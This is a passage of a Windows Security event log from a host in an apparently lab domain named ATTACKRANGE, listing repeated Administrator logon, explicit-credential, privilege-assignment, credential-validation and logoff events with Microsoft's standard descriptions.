Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245874
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x397DD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245873
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x397DD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245872
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x397DD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245871
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245870
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245869
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x34066

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245868
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x31538

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245867
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2F0BB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245897
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3B004

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245896
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3B004
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245895
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245894
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39CFE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245892
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39CFE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245891
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245890
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245889
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39AC6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245888
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39AC6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245887
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245886
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245885
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39863

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245884
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39863
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245883
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245882
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245918
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BBE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245917
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39863

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245916
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x39AC6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245915
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BBE1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245914
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BBE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245913
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245912
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245911
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BBB0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245910
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BBB0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245909
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BBB0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
